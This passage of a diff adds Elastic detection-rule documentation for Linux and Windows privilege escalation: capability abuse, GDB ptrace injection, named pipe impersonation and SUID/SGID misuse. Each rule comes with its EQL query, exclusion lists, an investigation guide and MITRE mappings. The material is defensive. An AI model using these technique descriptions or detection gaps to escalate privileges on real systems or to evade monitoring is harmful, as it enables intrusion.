Privilege Escalation via CAP_SETUID/SETGID Capabilities + +Identifies instances where a process (granted CAP_SETUID and/or CAP_SETGID capabilities) is executed, after which the user's access is elevated to UID/GID 0 (root). In Linux, the CAP_SETUID and CAP_SETGID capabilities allow a process to change its UID and GID, respectively, providing control over user and group identity management. Attackers may leverage a misconfiguration for exploitation in order to escalate their privileges to root. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privilege Escalation via CAP_SETUID/SETGID Capabilities* + + +In Linux, CAP_SETUID and CAP_SETGID capabilities allow processes to change user and group IDs, crucial for identity management. Adversaries exploit misconfigurations to gain root access. The detection rule identifies processes with these capabilities that elevate privileges to root, excluding benign scenarios, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the process details such as process.name and process.executable to identify the specific application or script that triggered the alert. This can help determine if the process is expected or potentially malicious. +- Examine the process.parent.executable and process.parent.name fields to understand the parent process that initiated the suspicious process. This can provide context on whether the parent process is legitimate or part of a known attack vector. +- Check the user.id field to confirm the user context under which the process was executed. If the user is not expected to have elevated privileges, this could indicate a potential compromise. +- Investigate the process.command_line to analyze the command executed. Look for any unusual or unexpected command patterns that could suggest malicious intent. +- Correlate the alert with other security events or logs from the same host.id to identify any related suspicious activities or patterns that could indicate a broader attack. +- Assess the environment for any recent changes or misconfigurations that could have inadvertently granted CAP_SETUID or CAP_SETGID capabilities to unauthorized processes. + + +*False positive analysis* + + +- Processes related to system management tools like VMware, SolarWinds, and language tools may trigger false positives. Exclude these by adding their executables to the exception list. +- Scheduled tasks or system updates that involve processes like update-notifier or dbus-daemon can cause false alerts. Consider excluding these parent process names from the detection rule. +- Automation tools such as Ansible or scripts executed by Python may inadvertently match the rule. Exclude command lines that match known automation patterns. +- Legitimate use of sudo or pkexec for administrative tasks can be misinterpreted as privilege escalation. Exclude these executables if they are part of regular administrative operations. +- Monitoring tools like osqueryd or saposcol might trigger the rule during normal operations. Add these process names to the exception list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified with CAP_SETUID or CAP_SETGID capabilities that have escalated privileges to root, ensuring no further exploitation occurs. +- Conduct a thorough review of the affected system's user and group configurations to identify and correct any misconfigurations that allowed the privilege escalation. +- Revoke unnecessary CAP_SETUID and CAP_SETGID capabilities from processes and users that do not require them, reducing the attack surface for future exploitation. +- Restore the affected system from a known good backup if unauthorized changes or persistent threats are detected, ensuring the system is returned to a secure state. +- Monitor the system and network for any signs of continued or attempted exploitation, using enhanced logging and alerting to detect similar threats in the future. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name != null and + (process.thread.capabilities.effective : "CAP_SET?ID" or process.thread.capabilities.permitted : "CAP_SET?ID") and + user.id != "0" and not ( + process.parent.executable : ("/tmp/newroot/*", "/opt/carbonblack*") or + process.parent.executable in ( + "/opt/SolarWinds/Agent/bin/Plugins/JobEngine/SolarWinds.Agent.JobEngine.Plugin", "/usr/bin/vmware-toolbox-cmd", + "/usr/bin/dbus-daemon", "/usr/bin/update-notifier", "/usr/share/language-tools/language-options", + "/opt/SolarWinds/Agent/*", "/usr/local/sbin/lynis.sh", "/usr/libexec/sssd/sssd_be", + "/opt/sophos-spl/plugins/edr/bin/osqueryd.5", "/apps/dynatrace/oneagent/install/agent/lib64/oneagentos", + "/opt/carbonblack/*/osqueryi" + ) or + process.executable : ("/opt/dynatrace/*", "/tmp/newroot/*", "/opt/SolarWinds/Agent/*") or + process.executable in ( + "/bin/fgrep", "/usr/bin/sudo", "/usr/bin/pkexec", "/usr/lib/cockpit/cockpit-session", "/usr/sbin/suexec" + ) or + process.parent.name in ("update-notifier", "language-options", "osqueryd", "saposcol", "dbus-daemon", "osqueryi", "sdbrun") or + process.command_line like ("sudo*BECOME-SUCCESS*", "/bin/sh*sapsysinfo.sh*", "sudo su", "sudo su -", "sudo -E -H bash -l") or + process.name in ("sudo", "fgrep", "lsb_release", "apt-update", "dbus-daemon-launch-helper", "man") or + process.parent.command_line like "/usr/bin/python*ansible*" or + process.working_directory like ("/opt/Elastic/Agent/data/*", "/usr/sap/tmp") or + process.args like ("/usr/bin/lsb_release*", "/bin/fgrep*") + )] + [process where host.os.type == "linux" and event.action == "uid_change" and event.type == "change" and + (process.thread.capabilities.effective : "CAP_SET?ID" or process.thread.capabilities.permitted : "CAP_SET?ID") + and user.id == "0"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-gdb-cap-sys-ptrace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-gdb-cap-sys-ptrace.asciidoc new file mode 100644 index 0000000000..276b43b518 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-gdb-cap-sys-ptrace.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-20-privilege-escalation-via-gdb-cap-sys-ptrace]] +=== Privilege Escalation via GDB CAP_SYS_PTRACE + +Identifies instances where GDB (granted the CAP_SYS_PTRACE capability) is executed, after which the user's access is elevated to UID/GID 0 (root). In Linux, the CAP_SYS_PTRACE capability grants a process the ability to use the ptrace system call, which is typically used for debugging and allows the process to trace and control other processes. Attackers may leverage this capability to hook and inject into a process that is running with root permissions in order to escalate their privileges to root. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privilege Escalation via GDB CAP_SYS_PTRACE* + + +The CAP_SYS_PTRACE capability in Linux allows processes to trace and control other processes, a feature primarily used for debugging. Adversaries can exploit this by using GDB with this capability to inject code into processes running as root, thereby escalating privileges. The detection rule identifies such abuse by monitoring sequences where GDB is executed with CAP_SYS_PTRACE, followed by a process running as root, indicating potential privilege escalation. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host and process entity ID where the GDB execution with CAP_SYS_PTRACE was detected. +- Examine the process tree on the affected host to determine the parent process of GDB and any child processes it may have spawned, focusing on any processes running as root. +- Check the user account associated with the GDB execution to verify if it is a legitimate user and assess if there are any indications of compromise or misuse. +- Investigate the timeline of events around the alert to identify any preceding or subsequent suspicious activities, such as unauthorized access attempts or changes in user privileges. +- Analyze system logs and audit records for any signs of unauthorized access or privilege escalation attempts, particularly focusing on the time window specified by the maxspan of 1 minute in the query. +- Correlate the findings with other security alerts or incidents on the same host to determine if this event is part of a larger attack campaign. + + +*False positive analysis* + + +- Development environments where GDB is frequently used for legitimate debugging purposes may trigger false positives. To mitigate this, consider excluding specific user accounts or processes that are known to use GDB regularly for debugging. +- Automated testing systems that utilize GDB for testing applications with elevated privileges might be flagged. Implement exceptions for these systems by identifying and excluding their specific process names or user IDs. +- Security tools or monitoring solutions that use GDB with CAP_SYS_PTRACE for legitimate monitoring or analysis tasks can cause false alerts. Review and whitelist these tools by their process names or associated user accounts. +- System administrators or developers who have legitimate reasons to use GDB with elevated capabilities should be identified, and their activities should be excluded from the rule to prevent unnecessary alerts. +- Scheduled maintenance scripts that involve GDB for system diagnostics or performance tuning may be misinterpreted as malicious. Exclude these scripts by their execution schedule or specific identifiers. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified as running with elevated privileges, especially those involving GDB with CAP_SYS_PTRACE. +- Revoke CAP_SYS_PTRACE capability from non-essential users and processes to limit potential abuse. +- Conduct a thorough review of user accounts and permissions on the affected system to ensure no unauthorized privilege escalations have occurred. +- Restore the affected system from a known good backup if any unauthorized changes or code injections are detected. +- Monitor the affected and related systems for any signs of persistence mechanisms or further malicious activity. +- Report the incident to the appropriate internal security team or authority for further investigation and potential escalation if necessary. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entry_leader.entity_id with maxspan=1m + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "gdb" and + (process.thread.capabilities.effective : "CAP_SYS_PTRACE" or process.thread.capabilities.permitted : "CAP_SYS_PTRACE") and + user.id != "0"] + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name != null and user.id == "0"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Ptrace System Calls +** ID: T1055.008 +** Reference URL: https://attack.mitre.org/techniques/T1055/008/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-named-pipe-impersonation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-named-pipe-impersonation.asciidoc new file mode 100644 index 0000000000..f05ea801b3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-named-pipe-impersonation.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-privilege-escalation-via-named-pipe-impersonation]] +=== Privilege Escalation via Named Pipe Impersonation + +Identifies a privilege escalation attempt via named pipe impersonation. An adversary may abuse this technique by utilizing a framework such Metasploit's meterpreter getsystem command. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation +* https://www.cobaltstrike.com/blog/what-happens-when-i-type-getsystem/ +* https://redcanary.com/blog/getsystem-offsec/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Privilege Escalation via Named Pipe Impersonation* + + +A named pipe is a type of inter-process communication (IPC) mechanism used in operating systems like Windows, which allows two or more processes to communicate with each other by sending and receiving data through a well-known point. + +Attackers can abuse named pipes to elevate their privileges by impersonating the security context in which they execute code. Metasploit, for example, creates a service and a random pipe, and then uses the service to connect to the pipe and impersonate the service security context, which is SYSTEM. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - If any suspicious processes were found, examine the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : ("Cmd.Exe", "PowerShell.EXE") or ?process.pe.original_file_name in ("Cmd.Exe", "PowerShell.EXE")) and + process.args : "echo" and process.args : ">" and process.args : "\\\\.\\pipe\\*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Token Impersonation/Theft +** ID: T1134.001 +** Reference URL: https://attack.mitre.org/techniques/T1134/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-rogue-named-pipe-impersonation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-rogue-named-pipe-impersonation.asciidoc new file mode 100644 index 0000000000..aadd791eb6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-rogue-named-pipe-impersonation.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-20-privilege-escalation-via-rogue-named-pipe-impersonation]] +=== Privilege Escalation via Rogue Named Pipe Impersonation + +Identifies a privilege escalation attempt via rogue named pipe impersonation. An adversary may abuse this technique by masquerading as a known named pipe and manipulating a privileged process to connect to it. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/ +* https://github.com/zcgonvh/EfsPotato +* https://twitter.com/SBousseaden/status/1429530155291193354 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privilege Escalation via Rogue Named Pipe Impersonation* + + +Named pipes in Windows facilitate inter-process communication, allowing data exchange between processes. Adversaries exploit this by creating rogue named pipes, tricking privileged processes into connecting and executing malicious actions under elevated privileges. The detection rule identifies suspicious named pipe creation events, focusing on patterns indicative of impersonation attempts, thus flagging potential privilege escalation activities. + + +*Possible investigation steps* + + +- Review the event logs for the specific named pipe creation event identified by the query, focusing on the file.name field to determine the exact named pipe path and assess its legitimacy. +- Correlate the event with the process that created the named pipe by examining related process creation logs, identifying the process ID and executable responsible for the action. +- Investigate the user context under which the named pipe was created to determine if it aligns with expected behavior or if it indicates potential misuse of privileges. +- Check for any recent changes or anomalies in the system's configuration or user accounts that could suggest unauthorized access or privilege escalation attempts. +- Analyze historical data for similar named pipe creation events to identify patterns or repeated attempts that could indicate a persistent threat or ongoing attack. + + +*False positive analysis* + + +- Legitimate software or system processes may create named pipes that match the detection pattern. Regularly review and whitelist known benign processes that frequently create named pipes to reduce noise. +- System management tools and monitoring software might generate named pipe creation events as part of their normal operation. Identify these tools and exclude their events from triggering alerts. +- Custom in-house applications that use named pipes for inter-process communication can trigger false positives. Work with development teams to document these applications and create exceptions for their activity. +- Scheduled tasks or scripts that run with elevated privileges and create named pipes could be mistaken for malicious activity. Ensure these tasks are documented and excluded from the detection rule. +- Security software or endpoint protection solutions may use named pipes for legitimate purposes. Verify these activities and adjust the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes associated with the rogue named pipe to halt any ongoing malicious activities. +- Conduct a thorough review of the system's event logs, focusing on named pipe creation events, to identify any other potentially compromised processes or systems. +- Reset credentials for any accounts that may have been exposed or used in the privilege escalation attempt to prevent further unauthorized access. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Implement enhanced monitoring for named pipe creation events across the network to detect and respond to similar threats in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation efforts are undertaken. + +==== Setup + + + +*Setup* + + +Named Pipe Creation Events need to be enabled within the Sysmon configuration by including the following settings: +`condition equal "contains" and keyword equal "pipe"` + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and + event.provider == "Microsoft-Windows-Sysmon" and + + /* Named Pipe Creation */ + event.code == "17" and + + /* Sysmon truncates the "Pipe" keyword in normal named pipe creation events */ + file.name : "\\*\\Pipe\\*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Token Impersonation/Theft +** ID: T1134.001 +** Reference URL: https://attack.mitre.org/techniques/T1134/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-suid-sgid.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-suid-sgid.asciidoc new file mode 100644 index 0000000000..e3a89d9236 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-suid-sgid.asciidoc @@ -0,0 +1,213 @@ +[[prebuilt-rule-8-19-20-privilege-escalation-via-suid-sgid]] +=== Privilege Escalation via SUID/SGID + +Identifies instances where a process is executed with user/group ID 0 (root), and a real user/group ID that is not 0. This is indicative of a process that has been granted SUID/SGID permissions, allowing it to run with elevated privileges. Attackers may leverage a misconfiguration for exploitation in order to escalate their privileges to root, or establish a backdoor for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gtfobins.github.io/#+suid +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privilege Escalation via SUID/SGID* + + +SUID/SGID are Unix/Linux permissions that allow users to execute files with the file owner's or group's privileges, often root. Adversaries exploit misconfigured SUID/SGID binaries to gain elevated access or persistence. The detection rule identifies processes running with root privileges but initiated by non-root users, flagging potential misuse of SUID/SGID permissions. + + +*Possible investigation steps* + + +- Review the process details, including process.name and process.args, to understand the nature of the executed command and its intended function. +- Check the process.real_user.id and process.real_group.id to identify the non-root user or group that initiated the process, and assess whether this user should have access to execute such commands. +- Investigate the parent process (process.parent.name) to determine the origin of the execution and whether it aligns with expected behavior or indicates potential compromise. +- Examine the system logs and user activity around the time of the alert to identify any suspicious actions or patterns that could suggest privilege escalation attempts. +- Verify the SUID/SGID permissions of the flagged binary to ensure they are correctly configured and assess whether they have been altered or misconfigured. +- Cross-reference the process with known vulnerabilities or exploits associated with the specific binary or command to determine if it is being targeted for privilege escalation. + + +*False positive analysis* + + +- Processes initiated by legitimate system maintenance tasks or scripts may trigger the rule. Review scheduled tasks and scripts to identify benign activities and consider excluding them from the rule. +- Some system utilities or applications may inherently require SUID/SGID permissions for normal operation. Verify the necessity of these permissions and exclude known safe applications from the rule. +- Development or testing environments often run processes with elevated privileges for debugging purposes. Identify these environments and apply exceptions to avoid false positives. +- Administrative tools or scripts executed by system administrators might appear as privilege escalation attempts. Ensure these are documented and excluded if they are part of routine administrative tasks. +- Processes with the parent name "spine" are already excluded, indicating a known benign pattern. Review similar patterns in your environment and apply similar exclusions where applicable. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate any suspicious processes identified by the detection rule that are running with elevated privileges but were initiated by non-root users. +- Conduct a thorough review of the SUID/SGID binaries on the affected system to identify and remove any unnecessary or misconfigured binaries that could be exploited for privilege escalation. +- Reset credentials and review access permissions for any accounts that may have been compromised or used in the attack to ensure they do not retain unauthorized elevated privileges. +- Apply security patches and updates to the operating system and all installed software to mitigate known vulnerabilities that could be exploited for privilege escalation. +- Implement enhanced monitoring and logging for SUID/SGID execution and privilege escalation attempts to detect and respond to similar threats in the future. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux 